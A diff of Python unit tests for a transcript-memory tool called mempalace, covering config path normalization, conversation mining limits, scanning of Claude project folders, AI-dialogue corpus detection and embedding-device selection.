so ChromaDB's persistent SQLite file handles aren't asked to release
during the test body — pytest cleans the path at session end, by which
point the process is exiting and Windows' file-lock contention is
moot. Matches the cleanup strategy used by the rest of this file and
the project's 80% Windows coverage note in CLAUDE.md.
"""
col = get_collection(str(tmp_path), "mempalace_drawers", create=True)
_assert_cosine(col, "full-stack new palace")
# And the closets collection too
closets = get_collection(str(tmp_path), "mempalace_closets", create=True)
_assert_cosine(closets, "full-stack new closets")
+100 -5
View File
@@ -3,7 +3,7 @@ import json
import tempfile
import pytest
from mempalace.config import MempalaceConfig, sanitize_kg_value, sanitize_name
from mempalace.config import MempalaceConfig, normalize_wing_name, sanitize_kg_value, sanitize_name
def test_default_config():
@@ -20,11 +20,87 @@ def test_config_from_file():
assert cfg.palace_path == "/custom/palace"
def test_env_override():
os.environ["MEMPALACE_PALACE_PATH"] = "/env/palace"
def test_embedding_device_defaults_to_auto(monkeypatch):
monkeypatch.delenv("MEMPALACE_EMBEDDING_DEVICE", raising=False)
cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
assert cfg.palace_path == "/env/palace"
del os.environ["MEMPALACE_PALACE_PATH"]
assert cfg.embedding_device == "auto"
def test_embedding_device_from_config_is_normalized(tmp_path, monkeypatch):
monkeypatch.delenv("MEMPALACE_EMBEDDING_DEVICE", raising=False)
with open(tmp_path / "config.json", "w") as f:
json.dump({"embedding_device": " CUDA "}, f)
cfg = MempalaceConfig(config_dir=str(tmp_path))
assert cfg.embedding_device == "cuda"
def test_embedding_device_env_overrides_config(tmp_path, monkeypatch):
with open(tmp_path / "config.json", "w") as f:
json.dump({"embedding_device": "cpu"}, f)
monkeypatch.setenv("MEMPALACE_EMBEDDING_DEVICE", " CoreML ")
cfg = MempalaceConfig(config_dir=str(tmp_path))
assert cfg.embedding_device == "coreml"
def test_env_override():
raw = "/env/palace"
os.environ["MEMPALACE_PALACE_PATH"] = raw
try:
cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
# palace_path normalizes with abspath + expanduser to match the
# --palace CLI code path. On Unix that's a no-op for "/env/palace";
# on Windows abspath prepends the current drive letter.
assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
finally:
del os.environ["MEMPALACE_PALACE_PATH"]
def test_env_path_expanduser():
# Tilde must be expanded to match the --palace CLI code path. We don't
# assert "~" is absent from the final string because Windows 8.3 short
# paths (e.g. C:\Users\RUNNER~1\...) legitimately contain tildes — the
# equality check is authoritative.
raw = os.path.join("~", "mempalace-test")
os.environ["MEMPALACE_PALACE_PATH"] = raw
try:
cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
assert cfg.palace_path.endswith("mempalace-test")
finally:
del os.environ["MEMPALACE_PALACE_PATH"]
def test_env_path_abspath_collapses_traversal():
# Build a raw path with a .. segment using the platform separator so
# the assertion is portable (Windows uses \, POSIX uses /).
raw = os.path.join(tempfile.gettempdir(), "palace", "..", "mempalace-test")
expected = os.path.abspath(os.path.expanduser(raw))
os.environ["MEMPALACE_PALACE_PATH"] = raw
try:
cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
# .. segments must be collapsed, not preserved literally.
assert ".." not in cfg.palace_path
assert cfg.palace_path == expected
finally:
del os.environ["MEMPALACE_PALACE_PATH"]
def test_env_path_legacy_alias_normalized():
# Legacy MEMPAL_PALACE_PATH gets the same normalization treatment as
# MEMPALACE_PALACE_PATH. We don't assert "~" is absent from the final
# string because Windows 8.3 short paths (e.g. C:\Users\RUNNER~1\...)
# legitimately contain tildes — the equality check below is authoritative.
os.environ.pop("MEMPALACE_PALACE_PATH", None)
raw = os.path.join("~", "legacy-alias", "..", "mempalace-test")
os.environ["MEMPAL_PALACE_PATH"] = raw
try:
cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
assert ".." not in cfg.palace_path
assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
finally:
del os.environ["MEMPAL_PALACE_PATH"]
def test_init():
@@ -34,6 +110,25 @@ def test_init():
assert os.path.exists(os.path.join(tmpdir, "config.json"))
# --- normalize_wing_name ---
def test_normalize_wing_name_hyphen():
assert normalize_wing_name("mempal-private") == "mempal_private"
def test_normalize_wing_name_space():
assert normalize_wing_name("My Project") == "my_project"
def test_normalize_wing_name_already_clean():
assert normalize_wing_name("memorymark") == "memorymark"
def test_normalize_wing_name_mixed():
assert normalize_wing_name("My-Cool App") == "my_cool_app"
# --- sanitize_name ---
+6 -2
View File
@@ -63,10 +63,14 @@ def test_save_people_map(tmp_path):
def test_env_mempal_palace_path(tmp_path):
"""MEMPAL_PALACE_PATH (legacy) should also work."""
os.environ.pop("MEMPALACE_PALACE_PATH", None)
os.environ["MEMPAL_PALACE_PATH"] = "/legacy/path"
raw = "/legacy/path"
os.environ["MEMPAL_PALACE_PATH"] = raw
try:
cfg = MempalaceConfig(config_dir=str(tmp_path))
assert cfg.palace_path == "/legacy/path"
# palace_path is normalized via abspath + expanduser — compare
# against the normalized form so the test is portable between
# POSIX (no-op) and Windows (prepends current drive letter).
assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
finally:
del os.environ["MEMPAL_PALACE_PATH"]
+31
View File
@@ -0,0 +1,31 @@
"""TDD: convo_miner.py must not silently drop transcripts larger than 10 MB.
Mirrors the miner.py fix shipped in the same PR family (see
test_miner_jsonl_visibility.py). Long Claude Code sessions, ChatGPT
exports, and multi-year Slack dumps routinely exceed 10 MB. The cap
silently `continue`s past them at convo_miner.py:~289, same silent-drop
pattern as the project miner's.
Written BEFORE the fix.
"""
from mempalace.convo_miner import MAX_FILE_SIZE
class TestConvoMinerSizeCap:
def test_max_file_size_accommodates_long_transcripts(self):
"""The cap must be well above any realistic transcript.
Long sessions and lifetime exports exceed 10 MB. The cap exists
as a sanity rail against pathological binaries, not as a limit
on legitimate text — downstream chunking means source size does
not matter for storage or embedding cost.
"""
assert MAX_FILE_SIZE >= 100 * 1024 * 1024, (
f"convo_miner.MAX_FILE_SIZE is {MAX_FILE_SIZE} bytes "
f"({MAX_FILE_SIZE / 1024 / 1024:.0f} MB). Same silent-drop "
"bug as miner.py's old 10 MB cap — long transcripts get "
"filtered out at convo_miner.py:~289 with `continue`. "
"Raise to at least 100 MB (match miner.py at 500 MB for "
"consistency across both miners)."
)
+36
View File
@@ -1,6 +1,9 @@
"""Unit tests for convo_miner pure functions (no chromadb needed)."""
import contextlib
from mempalace.convo_miner import (
_file_chunks_locked,
chunk_exchanges,
detect_convo_room,
scan_convos,
@@ -111,3 +114,36 @@ class TestScanConvos:
def test_scan_empty_dir(self, tmp_path):
files = scan_convos(str(tmp_path))
assert files == []
class TestFileChunksLocked:
def test_uses_bounded_upsert_batches(self, monkeypatch):
import mempalace.convo_miner as convo_miner
class FakeCol:
def __init__(self):
self.batch_sizes = []
def delete(self, *args, **kwargs):
pass
def upsert(self, documents, ids, metadatas):
self.batch_sizes.append(len(documents))
chunks = [{"content": f"chunk {i} " * 20, "chunk_index": i} for i in range(5)]
col = FakeCol()
monkeypatch.setattr(convo_miner, "DRAWER_UPSERT_BATCH_SIZE", 2)
monkeypatch.setattr(
convo_miner, "file_already_mined", lambda collection, source_file: False
)
monkeypatch.setattr(convo_miner, "mine_lock", lambda source_file: contextlib.nullcontext())
monkeypatch.setattr(convo_miner, "_detect_hall_cached", lambda content: "conversations")
drawers, room_counts, skipped = _file_chunks_locked(
col, "chat.txt", chunks, "wing", "general", "agent", "exchange"
)
assert drawers == 5
assert dict(room_counts) == {}
assert skipped is False
assert col.batch_sizes == [2, 2, 1]
+218
View File
@@ -0,0 +1,218 @@
"""Tests for mempalace.convo_scanner."""
import json
from pathlib import Path
from mempalace.convo_scanner import (
_decode_slug_fallback,
_extract_cwd_from_session,
_resolve_project_name,
_safe_mtime,
is_claude_projects_root,
scan_claude_projects,
)
# ── is_claude_projects_root ─────────────────────────────────────────────
def test_is_claude_projects_root_true(tmp_path):
project_dir = tmp_path / "-home-user-dev-foo"
project_dir.mkdir()
(project_dir / "abc.jsonl").write_text("{}\n")
assert is_claude_projects_root(tmp_path)
def test_is_claude_projects_root_false_no_dash_prefix(tmp_path):
project_dir = tmp_path / "normal-folder"
project_dir.mkdir()
(project_dir / "abc.jsonl").write_text("{}\n")
assert not is_claude_projects_root(tmp_path)
def test_is_claude_projects_root_false_no_jsonl(tmp_path):
project_dir = tmp_path / "-home-user-foo"
project_dir.mkdir()
(project_dir / "other.txt").write_text("hello")
assert not is_claude_projects_root(tmp_path)
def test_is_claude_projects_root_false_empty(tmp_path):
assert not is_claude_projects_root(tmp_path)
def test_is_claude_projects_root_false_nonexistent(tmp_path):
assert not is_claude_projects_root(tmp_path / "does-not-exist")
# ── cwd extraction ──────────────────────────────────────────────────────
def test_extract_cwd_from_session(tmp_path):
f = tmp_path / "session.jsonl"
lines = [
json.dumps({"type": "file-history-snapshot", "messageId": "x"}),
json.dumps({"type": "user", "cwd": "/home/user/dev/myproj", "content": "hi"}),
]
f.write_text("\n".join(lines) + "\n")
assert _extract_cwd_from_session(f) == "/home/user/dev/myproj"
def test_extract_cwd_from_session_skips_malformed(tmp_path):
f = tmp_path / "session.jsonl"
f.write_text(
"{not valid json\n" + json.dumps({"type": "user", "cwd": "/home/user/dev/good"}) + "\n"
)
assert _extract_cwd_from_session(f) == "/home/user/dev/good"
def test_extract_cwd_from_session_none_if_absent(tmp_path):
f = tmp_path / "session.jsonl"
f.write_text(json.dumps({"type": "x", "messageId": "y"}) + "\n")
assert _extract_cwd_from_session(f) is None
def test_extract_cwd_from_session_none_if_file_missing(tmp_path):
assert _extract_cwd_from_session(tmp_path / "missing.jsonl") is None
# ── slug fallback ───────────────────────────────────────────────────────
def test_decode_slug_fallback_last_segment():
assert _decode_slug_fallback("-home-user-dev-foo") == "foo"
def test_decode_slug_fallback_double_dash():
assert _decode_slug_fallback("-home-user--bentokit") == "bentokit"
def test_decode_slug_fallback_empty():
assert _decode_slug_fallback("") == ""
def test_decode_slug_fallback_only_dashes():
assert _decode_slug_fallback("---") == "---"
# ── safe metadata helpers ───────────────────────────────────────────────
def test_safe_mtime_returns_zero_on_stat_error(tmp_path, monkeypatch):
f = tmp_path / "session.jsonl"
f.write_text("{}\n")
original_stat = Path.stat
def fail_stat(self):
if self == f:
raise OSError("permission denied")
return original_stat(self)
monkeypatch.setattr(Path, "stat", fail_stat)
assert _safe_mtime(f) == 0.0
# ── _resolve_project_name ───────────────────────────────────────────────
def test_resolve_project_name_uses_cwd(tmp_path):
pdir = tmp_path / "-home-user-dev-coolproj"
pdir.mkdir()
session = pdir / "a.jsonl"
session.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/cool-proj-real"}) + "\n")
assert _resolve_project_name(pdir) == "cool-proj-real"
def test_resolve_project_name_falls_back_when_no_cwd(tmp_path):
pdir = tmp_path / "-home-user-dev-foo"
pdir.mkdir()
(pdir / "a.jsonl").write_text(json.dumps({"type": "x"}) + "\n")
assert _resolve_project_name(pdir) == "foo"
def test_resolve_project_name_prefers_newer_session(tmp_path):
"""Newest session's cwd wins — covers the case where user renamed the
project directory between sessions."""
pdir = tmp_path / "-home-user-dev-old"
pdir.mkdir()
old = pdir / "old.jsonl"
old.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/old"}) + "\n")
# Ensure distinguishable mtimes
old_mtime = old.stat().st_mtime - 100
import os
os.utime(old, (old_mtime, old_mtime))
new = pdir / "new.jsonl"
new.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/new-name"}) + "\n")
assert _resolve_project_name(pdir) == "new-name"
# ── scan_claude_projects ────────────────────────────────────────────────
def test_scan_claude_projects_empty_dir(tmp_path):
assert scan_claude_projects(tmp_path) == []
def test_scan_claude_projects_not_a_projects_root(tmp_path):
"""Returns empty list if the dir doesn't look like .claude/projects/."""
(tmp_path / "some-folder").mkdir()
(tmp_path / "some-folder" / "readme.md").write_text("hi")
assert scan_claude_projects(tmp_path) == []
def test_scan_claude_projects_finds_projects(tmp_path):
p1 = tmp_path / "-home-user-dev-alpha"
p1.mkdir()
(p1 / "a.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/alpha"}) + "\n")
(p1 / "b.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/alpha"}) + "\n")
p2 = tmp_path / "-home-user-dev-beta"
p2.mkdir()
(p2 / "x.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/beta"}) + "\n")
result = scan_claude_projects(tmp_path)
names = [p.name for p in result]
assert "alpha" in names
assert "beta" in names
# alpha has 2 sessions, beta has 1 — alpha ranks higher
alpha = next(p for p in result if p.name == "alpha")
beta = next(p for p in result if p.name == "beta")
assert alpha.user_commits == 2
assert beta.user_commits == 1
def test_scan_claude_projects_ignores_dirs_without_jsonl(tmp_path):
empty_proj = tmp_path / "-home-user-dev-empty"
empty_proj.mkdir()
(empty_proj / "notes.md").write_text("hi")
assert scan_claude_projects(tmp_path) == []
def test_scan_claude_projects_marks_as_mine(tmp_path):
p = tmp_path / "-home-user-dev-owned"
p.mkdir()
(p / "s.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/owned"}) + "\n")
result = scan_claude_projects(tmp_path)
assert len(result) == 1
assert result[0].is_mine is True
def test_scan_claude_projects_dedup_by_name(tmp_path):
"""Two encoded dirs resolving to the same project name collapse to one."""
p1 = tmp_path / "-home-user-a-proj"
p1.mkdir()
(p1 / "s.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/a/proj"}) + "\n")
(p1 / "t.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/a/proj"}) + "\n")
p2 = tmp_path / "-home-user-b-proj"
p2.mkdir()
(p2 / "u.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/b/proj"}) + "\n")
result = scan_claude_projects(tmp_path)
# Both decode to "proj"; only one remains — the one with more sessions wins
assert len(result) == 1
assert result[0].name == "proj"
assert result[0].user_commits == 2
+395
View File
@@ -0,0 +1,395 @@
"""Tests for corpus_origin detection.
The corpus-origin detector answers ONE foundational question before any
downstream Pass 2 classification runs:
"Is this corpus a record of AI-agent dialogue, and if so, which platform
and what persona names has the user assigned to the agent?"
Detection is two-tier:
- Tier 1: cheap content-aware heuristic (grep for well-known AI terms
and turn markers). No API calls. Always runs.
- Tier 2: LLM-assisted confirmation + persona extraction. Takes a small
sample of drawer texts and uses Haiku's pre-trained world knowledge
about Claude/ChatGPT/Gemini/etc. to confirm platform + identify
persona-names the user assigned to the agent.
Default stance: "this IS an AI-dialogue corpus" unless strong evidence
otherwise. False-negative (missing an AI corpus) is catastrophic for
downstream classification; false-positive is recoverable via per-drawer
voice-profile detection in later passes.
TDD: these tests fail until mempalace/corpus_origin.py is implemented."""
from mempalace.corpus_origin import (
CorpusOriginResult,
detect_origin_heuristic,
detect_origin_llm,
)
# ── Tier 1: heuristic (no LLM) ────────────────────────────────────────────
class TestHeuristic:
def test_claude_heavy_corpus_detected(self):
"""A corpus with abundant Claude references + turn markers should
be confidently detected as AI-dialogue."""
samples = [
"user: hey Claude, can you help me\nassistant: sure, what do you need\n",
"I was talking to Claude Opus about the MCP server setup",
"Sonnet 4.5 handled this better than Haiku 4.5 did",
"claude mcp add mempalace -- mempalace-mcp",
"human: what's up\nassistant: I'm happy to help",
]
result = detect_origin_heuristic(samples)
assert result.likely_ai_dialogue is True
assert result.confidence >= 0.8
assert (
"Claude" in " ".join(result.evidence) or "claude" in " ".join(result.evidence).lower()
)
def test_gpt_corpus_detected(self):
samples = [
"I asked ChatGPT to summarize my paper",
"The GPT-4 response was surprisingly good",
"user: explain quantum computing\nassistant: quantum computing uses qubits",
"OpenAI's model was able to help with the code",
]
result = detect_origin_heuristic(samples)
assert result.likely_ai_dialogue is True
assert any("GPT" in e or "ChatGPT" in e or "OpenAI" in e for e in result.evidence)
def test_pure_narrative_corpus_detected_as_not_ai(self):
"""A story/journal corpus with no AI signals should be flagged
not-AI (default stance flipped only with evidence)."""
samples = [
"Today the cat finally ventured into the garden. The dog watched.",
"The morning light came through the window as I wrote.",
"Chapter 3: The Reckoning. It was a dark and stormy night.",
"My father's old journal described the same field in 1972.",
]
result = detect_origin_heuristic(samples)
assert result.likely_ai_dialogue is False
assert result.confidence >= 0.8
def test_ambiguous_corpus_defaults_to_ai(self):
"""When evidence is thin or mixed, default to assuming AI-dialogue.
False-negative is worse than false-positive."""
samples = [
"some notes about the meeting today",
"Later on I went to the store.",
"Short file with little signal.",
]
result = detect_origin_heuristic(samples)
# Low signal → default stance is ai_dialogue=True with low confidence
assert result.likely_ai_dialogue is True
assert result.confidence <= 0.6
assert "default-stance" in " ".join(result.evidence).lower()
def test_turn_markers_alone_sufficient(self):
"""Even without AI brand mentions, strong turn-marker presence
indicates dialogue structure consistent with AI corpora."""
samples = [
"user: hello\nassistant: hi there, how can I help?\nuser: summarize X\nassistant: sure",
"human: what's the weather\nai: I don't have real-time data\n",
]
result = detect_origin_heuristic(samples)
assert result.likely_ai_dialogue is True
# ── Pattern + context (not capitalization, not English-rule) ──────────
def test_brand_terms_case_insensitive(self):
"""Detection cannot rely on the user typing proper-cased brand names.
Lowercase 'claude code', 'chatgpt', 'gemini-pro', 'mcp' must trip
the same as their proper-cased equivalents. NO turn-marker fallback
in this corpus — the brand matches must do the work."""
samples = [
"i love claude code, it just works for refactoring tasks",
"asked chatgpt to write a regex and it nailed it on the first try",
"switched to gemini-pro for the long-context summary task last week",
"added mempalace as an mcp server in my .claude/ settings file",
"anthropic's haiku model is cheap enough to run on every drawer",
]
result = detect_origin_heuristic(samples)
assert (
result.likely_ai_dialogue is True
), f"lowercase brand terms missed; evidence: {result.evidence}"
# Evidence must show MULTIPLE distinct case-insensitive brand matches.
# 'chatgpt' lowercase only matches under case-insensitive search
# (the brand list has 'ChatGPT' proper-cased only).
evidence_str = " ".join(result.evidence).lower()
matched = sum(t in evidence_str for t in ("chatgpt", "anthropic", "haiku", "gemini-pro"))
assert (
matched >= 2
), f"case-insensitive brand matches did not fire — only got: {result.evidence}"
def test_zodiac_corpus_not_flagged_as_ai(self):
"""An astrology forum post with high 'Gemini' density but ZERO
unambiguous AI signals (no MCP/LLM/ChatGPT/turn markers) must NOT
be flagged as AI-dialogue. Word-sense disambiguation is required:
Gemini-the-zodiac-sign vs Gemini-the-AI-platform."""
samples = [
"I'm a Gemini sun, Pisces moon, and Leo rising.",
"Geminis are dreamers and overthinkers — that's the dual nature.",
"Compatibility between Gemini and Sagittarius is famously strong.",
"If you're a Gemini, expect Mercury retrograde to hit you hardest.",
"My horoscope this week says Gemini energy will dominate Wednesday.",
"The Gemini twins in Greek mythology are Castor and Pollux.",
]
result = detect_origin_heuristic(samples)
assert (
result.likely_ai_dialogue is False
), f"zodiac corpus wrongly flagged AI; evidence: {result.evidence}"
def test_french_novel_with_claude_name_not_flagged(self):
"""A French novel where 'Claude' is a character name (Claude is a
common French masculine name) must NOT trip AI-dialogue detection.
Disambiguation is by context, not by the presence of the word."""
samples = [
"Claude marchait lentement le long de la Seine ce matin-là.",
"« Claude, tu rentres dîner? » lui demanda sa mère depuis la cuisine.",
"Pour Claude, l'art de vivre passait avant tout par la patience.",
"Le vieux Claude se souvenait encore de la guerre, des champs déserts.",
"Claude ouvrit la fenêtre. Le matin sentait le pain frais et la pluie.",
"Les amis de Claude s'étaient réunis chez lui pour fêter ses soixante ans.",
]
result = detect_origin_heuristic(samples)
assert (
result.likely_ai_dialogue is False
), f"French novel wrongly flagged AI; evidence: {result.evidence}"
def test_poetry_corpus_with_haiku_sonnet_not_flagged(self):
"""A poetry corpus with high 'haiku', 'sonnet', 'opus' density
(poetic forms / classical music terms) but no AI infrastructure
terms must NOT be flagged as AI-dialogue."""
samples = [
"A haiku is seventeen syllables across three lines: 5-7-5.",
"Shakespeare's sonnet 18 remains the most quoted in the English canon.",
"Beethoven's opus 27 includes the Moonlight Sonata.",
"I wrote three haiku this morning before coffee.",
"The sonnet form arrived in England via Wyatt and Surrey.",
"Her first opus, published at twenty, was a song cycle for soprano.",
]
result = detect_origin_heuristic(samples)
assert (
result.likely_ai_dialogue is False
), f"poetry corpus wrongly flagged AI; evidence: {result.evidence}"
def test_word_boundary_brand_matching(self):
"""Brand-term matching must use word boundaries. Embedded matches
inside larger words ('Claudette' → 'Claude', 'opuscule' → 'Opus',
'sonneteer' → 'Sonnet', 'llamas' → 'Llama', 'bardic' → 'Bard')
must NOT be counted as brand hits.
Word boundaries don't change classification on the co-occurrence-
suppressed cases, but they clean up the evidence strings — false
matches must not appear in the audit trail. They also prevent
'Claude Code' from triple-counting as 'Claude Code' + 'Claude'
overlap."""
samples = [
"My grandmother Claudette baked the most beautiful tarts every Sunday.",
"Two llamas were spotted near the trailhead this morning at sunrise.",
"Beethoven's opuscule for solo violin remained unpublished for decades.",
"She studied to become a sonneteer after reading the full Spenser cycle.",
"Bardic traditions in the Hebrides survived well into the eighteenth century.",
"The complete opuses of Mozart fill an entire wall of the library.",
]
result = detect_origin_heuristic(samples)
evidence_str = " ".join(result.evidence).lower()
# None of the brand terms should show up in evidence — every
# would-be match is an embedded false-positive that word
# boundaries should suppress.
for embedded_term in ("claude", "opus", "sonnet", "llama", "bard"):
assert f"'{embedded_term}'" not in evidence_str, (
f"word-boundary bug: '{embedded_term}' falsely matched inside "
f"a longer word — evidence: {result.evidence}"
)
# And classification should be not-AI (no real AI signals present).
assert (
result.likely_ai_dialogue is False
), f"corpus has no real AI signals; evidence: {result.evidence}"
def test_ambiguous_brand_with_unambiguous_signal_flagged(self):
"""When an ambiguous brand term ('Gemini') co-occurs with an
UNAMBIGUOUS AI signal (turn markers, MCP, ChatGPT, Claude Code)
in the same corpus, the Gemini hits SHOULD count and the corpus
SHOULD be flagged as AI-dialogue."""
samples = [
"Switched the agent from Gemini to ChatGPT mid-session for cost reasons.",
"Gemini handled the long-context task; user: please summarize\nassistant: here is the summary",
"user: try Gemini for this\nassistant: running it through gemini-pro now",
"MCP server config: Gemini as primary, OpenAI as fallback.",
]
result = detect_origin_heuristic(samples)
assert (
result.likely_ai_dialogue is True
), f"ambiguous+unambiguous co-occurrence missed; evidence: {result.evidence}"
# ── Tier 2: LLM-assisted (mocked) ─────────────────────────────────────────
class _FakeProvider:
"""Minimal stand-in for mempalace's LLMProvider used for testing."""
def __init__(self, canned_response):
self._response = canned_response
self.calls = []
def classify(self, system, user, json_mode=True):
self.calls.append({"system": system, "user": user})
class R:
text = self._response
return R()
def check_available(self):
return True, "ok"
class TestLLMConfirmation:
def test_extracts_persona_names_and_platform(self):
fake_response = """{
"is_ai_dialogue_corpus": true,
"confidence": 0.97,
"primary_platform": "Claude Code (Anthropic CLI)",
"agent_persona_names": ["Echo", "Sparrow", "Cipher", "Orc"],
"evidence": [
"user addresses agent as 'Echo' on assistant turns",
"Claude Code banner text in samples",
"references to MCP, CLAUDE.md, hooks"
]
}"""
provider = _FakeProvider(fake_response)
samples = [
"user: hey Echo, what's up\nassistant: I'm here, what do you need\n",
"Claude Code session banner Sonnet 4.5 Claude Pro",
]
result = detect_origin_llm(samples, provider)
assert result.likely_ai_dialogue is True
assert result.confidence >= 0.9
assert "Echo" in result.agent_persona_names
assert "Sparrow" in result.agent_persona_names
assert "Claude" in result.primary_platform
def test_narrative_corpus_llm_confirms_no_agent(self):
fake_response = """{
"is_ai_dialogue_corpus": false,
"confidence": 0.95,
"primary_platform": null,
"agent_persona_names": [],
"evidence": ["pure narrative prose, no turn markers, no AI terms"]
}"""
provider = _FakeProvider(fake_response)
samples = ["Once upon a time in a small village", "The old woman smiled"]
result = detect_origin_llm(samples, provider)
assert result.likely_ai_dialogue is False
assert result.agent_persona_names == []
assert result.primary_platform is None
def test_handles_malformed_llm_response(self):
"""If the LLM returns garbage, fall back gracefully to the
conservative default (assume AI-dialogue with low confidence)."""
provider = _FakeProvider("not even close to JSON")
result = detect_origin_llm(["sample text"], provider)
# Fallback: conservative default, low confidence
assert result.likely_ai_dialogue is True
assert result.confidence <= 0.5
assert (
"fallback" in " ".join(result.evidence).lower()
or "error" in " ".join(result.evidence).lower()
)
def test_filters_user_name_out_of_personas(self):
"""Regression test: Haiku sometimes leaks the user's own name into
agent_persona_names despite the prompt's CRITICAL distinction. The
parser must strip the user's name from personas if it appears in
both fields (case-insensitive). The user is the human author of
the corpus, not an agent persona."""
fake_response = """{
"is_ai_dialogue_corpus": true,
"confidence": 0.97,
"primary_platform": "Claude (Anthropic)",
"user_name": "Jordan",
"agent_persona_names": ["Echo", "Sparrow", "Jordan", "Cipher"],
"evidence": ["user Jordan talks to agents Echo/Sparrow/Cipher"]
}"""
provider = _FakeProvider(fake_response)
result = detect_origin_llm(["sample"], provider)
# user_name is exposed in its own field
assert result.user_name == "Jordan"
# "Jordan" is filtered out of agent_persona_names
assert "Jordan" not in result.agent_persona_names
# Real personas are preserved
for persona in ("Echo", "Sparrow", "Cipher"):
assert persona in result.agent_persona_names
def test_filter_is_case_insensitive(self):
"""The user-name filter works even when the LLM returns a casing
mismatch between user_name and the personas list."""
fake_response = """{
"is_ai_dialogue_corpus": true,
"confidence": 0.9,
"primary_platform": "Claude",
"user_name": "Jordan",
"agent_persona_names": ["Echo", "jordan", "JORDAN", "Cipher"],
"evidence": []
}"""
provider = _FakeProvider(fake_response)
result = detect_origin_llm(["sample"], provider)
# All case-variants of the user's name are filtered
assert "jordan" not in [p.lower() for p in result.agent_persona_names]
assert result.agent_persona_names == ["Echo", "Cipher"]
def test_user_name_field_surfaces_author(self):
"""The user_name field captures the human author of the corpus,
separate from agent personas. This gives downstream passes a
clear 'who is the user, who is the agent' distinction."""
fake_response = """{
"is_ai_dialogue_corpus": true,
"confidence": 0.95,
"primary_platform": "ChatGPT (OpenAI)",
"user_name": "Sarah",
"agent_persona_names": ["MyAssistant"],
"evidence": ["Sarah writes to MyAssistant"]
}"""
provider = _FakeProvider(fake_response)
result = detect_origin_llm(["sample"], provider)
assert result.user_name == "Sarah"
assert result.agent_persona_names == ["MyAssistant"]
# ── CorpusOriginResult dataclass ──────────────────────────────────────────
class TestResultDataclass:
def test_result_has_all_fields(self):
r = CorpusOriginResult(
likely_ai_dialogue=True,
confidence=0.95,
primary_platform="Claude Code",
agent_persona_names=["Echo"],
evidence=["test"],
)
assert r.likely_ai_dialogue is True
assert r.confidence == 0.95
assert r.primary_platform == "Claude Code"
assert r.agent_persona_names == ["Echo"]
assert r.evidence == ["test"]
def test_result_serializes_to_dict(self):
r = CorpusOriginResult(
likely_ai_dialogue=False,
confidence=0.9,
primary_platform=None,
agent_persona_names=[],
evidence=[],
)
d = r.to_dict()
assert d["likely_ai_dialogue"] is False
assert d["primary_platform"] is None
assert d["agent_persona_names"] == []
File diff suppressed because it is too large Load Diff
+98
View File
@@ -0,0 +1,98 @@
import pytest
import mempalace.embedding as embedding
@pytest.fixture(autouse=True)
def isolate_embedding_state(monkeypatch):
monkeypatch.setattr(embedding, "_EF_CACHE", {})
monkeypatch.setattr(embedding, "_WARNED", set())
def test_auto_picks_cuda(monkeypatch):
monkeypatch.setattr(
"onnxruntime.get_available_providers",
lambda: ["CUDAExecutionProvider", "CPUExecutionProvider"],
)
assert embedding._resolve_providers("auto") == (
["CUDAExecutionProvider", "CPUExecutionProvider"],
"cuda",
)
def test_auto_falls_to_cpu(monkeypatch):
monkeypatch.setattr("onnxruntime.get_available_providers", lambda: ["CPUExecutionProvider"])
assert embedding._resolve_providers("auto") == (["CPUExecutionProvider"], "cpu")
def test_cuda_missing_warns_with_gpu_extra(monkeypatch, caplog):
monkeypatch.setattr("onnxruntime.get_available_providers", lambda: ["CPUExecutionProvider"])
assert embedding._resolve_providers("cuda") == (["CPUExecutionProvider"], "cpu")
assert "mempalace[gpu]" in caplog.text
def test_coreml_missing_warns_with_coreml_extra(monkeypatch, caplog):
monkeypatch.setattr("onnxruntime.get_available_providers", lambda: ["CPUExecutionProvider"])
assert embedding._resolve_providers("coreml") == (["CPUExecutionProvider"], "cpu")
assert "mempalace[coreml]" in caplog.text
def test_dml_missing_warns_with_dml_extra(monkeypatch, caplog):
monkeypatch.setattr("onnxruntime.get_available_providers", lambda: ["CPUExecutionProvider"])
assert embedding._resolve_providers("dml") == (["CPUExecutionProvider"], "cpu")
assert "mempalace[dml]" in caplog.text
def test_unknown_device_warns_once(monkeypatch, caplog):
monkeypatch.setattr("onnxruntime.get_available_providers", lambda: ["CPUExecutionProvider"])
assert embedding._resolve_providers("bogus") == (["CPUExecutionProvider"], "cpu")
assert embedding._resolve_providers("bogus") == (["CPUExecutionProvider"], "cpu")
assert caplog.text.count("Unknown embedding_device") == 1
def test_onnxruntime_import_error_falls_back_to_cpu(monkeypatch):
import builtins
real_import = builtins.__import__
def fake_import(name, *args, **kwargs):
if name == "onnxruntime":
raise ImportError("missing")
return real_import(name, *args, **kwargs)
monkeypatch.setattr(builtins, "__import__", fake_import)
assert embedding._resolve_providers("cuda") == (["CPUExecutionProvider"], "cpu")
def test_get_embedding_function_caches_by_resolved_provider_tuple(monkeypatch):
class DummyEF:
def __init__(self, preferred_providers):
self.preferred_providers = preferred_providers
monkeypatch.setattr(embedding, "_build_ef_class", lambda: DummyEF)
monkeypatch.setattr(
embedding, "_resolve_providers", lambda device: (["CPUExecutionProvider"], "cpu")
)
first = embedding.get_embedding_function("cpu")
second = embedding.get_embedding_function("auto")
assert first is second
assert first.preferred_providers == ["CPUExecutionProvider"]
def test_describe_device_uses_resolved_effective_device(monkeypatch):
monkeypatch.setattr(
embedding,
"_resolve_providers",
lambda device: (["CUDAExecutionProvider", "CPUExecutionProvider"], "cuda"),
)
assert embedding.describe_device("auto") == "cuda"
+128 -2
View File
